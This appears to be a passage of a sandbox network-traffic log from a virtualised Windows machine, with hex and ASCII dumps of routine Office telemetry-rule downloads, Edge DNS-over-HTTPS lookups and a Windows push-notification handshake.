2024-11-07 16:25:38 UTC	1378	IN	Data Raw: ad c4 ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&
2024-11-07 16:25:38 UTC	1378	IN	Data Raw: 58 0d 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f Data Ascii: XA1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/
2024-11-07 16:25:38 UTC	1378	IN	Data Raw: 14 0d 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/me

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:38 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:38 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:38 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: e21fa4e1-f01e-003f-655f-2ed19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162538Z-15869dbbcc6tfpj2hC1DFW384c00000001ug00000000s0k2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:38 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49913	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:39 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:39 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:39 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 29f772fb-201e-0000-69d2-2ca537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162539Z-16547b76f7fm7xw6hC1DFW5px4000000086000000000swfd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:39 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49912	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:39 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:39 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:39 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: e6cb611f-001e-0017-6455-2e0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162539Z-17df447cdb57srlrhC1DFWwgas00000004pg00000000ff0n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:39 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	49917	172.64.41.3	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:39 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-07 16:25:39 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-07 16:25:39 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 07 Nov 2024 16:25:39 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8deeae349c112e57-DFW alt-svc: h3=":443"; ma=86400
2024-11-07 16:25:39 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 27 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom'q^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	49916	162.159.61.3	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:39 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-07 16:25:39 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-07 16:25:39 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 07 Nov 2024 16:25:39 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8deeae34a8d6283f-DFW alt-svc: h3=":443"; ma=86400
2024-11-07 16:25:39 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 26 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom&q^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:39 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:39 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:39 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 9107b392-201e-0000-7e01-2fa537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162539Z-17df447cdb5km9skhC1DFWy2rc00000004sg00000000aqe5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:39 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	49918	162.159.61.3	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:39 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-07 16:25:39 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-07 16:25:39 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 07 Nov 2024 16:25:39 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8deeae34ea5fe7d7-DFW alt-svc: h3=":443"; ma=86400
2024-11-07 16:25:39 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f4 00 04 8e fa 72 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomr^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49914	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:39 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 47 47 30 64 47 4b 6b 59 59 30 53 41 37 4f 76 31 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 63 30 63 34 33 62 65 61 31 33 31 33 37 64 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: GG0dGKkYY0SA7Ov1.1Context: cc0c43bea13137d0
2024-11-07 16:25:39 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-07 16:25:39 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 47 47 30 64 47 4b 6b 59 59 30 53 41 37 4f 76 31 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 63 30 63 34 33 62 65 61 31 33 31 33 37 64 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 55 64 4d 74 43 50 4f 37 76 2f 5a 2f 32 67 72 76 5a 55 51 76 4e 64 64 73 4b 34 55 4c 79 4b 72 56 67 58 53 4b 69 35 47 65 67 73 50 49 72 66 5a 69 69 32 6f 78 63 78 30 68 4c 39 41 43 4c 47 32 50 53 61 70 54 48 44 62 63 74 4d 48 32 42 51 30 51 77 6e 6c 6e 50 62 2f 63 51 72 45 49 57 44 65 32 42 62 46 73 55 6b 4e 46 6f 43 49 6b 50 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: GG0dGKkYY0SA7Ov1.2Context: cc0c43bea13137d0<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAUdMtCPO7v/Z/2grvZUQvNddsK4ULyKrVgXSKi5GegsPIrfZii2oxcx0hL9ACLG2PSapTHDbctMH2BQ0QwnlnPb/cQrEIWDe2BbFsUkNFoCIkP
2024-11-07 16:25:39 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 47 47 30 64 47 4b 6b 59 59 30 53 41 37 4f 76 31 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 63 30 63 34 33 62 65 61 31 33 31 33 37 64 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: GG0dGKkYY0SA7Ov1.3Context: cc0c43bea13137d0<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-07 16:25:39 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-07 16:25:39 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4f 68 7a 42 41 77 32 69 65 30 75 50 4c 4f 2b 65 76 30 52 77 61 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: OhzBAw2ie0uPLO+ev0RwaQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49919	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:39 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:39 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:39 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: d0affd2c-301e-000c-74d2-2c323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162539Z-16547b76f7fcrtpchC1DFW52e800000008d000000000erkn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
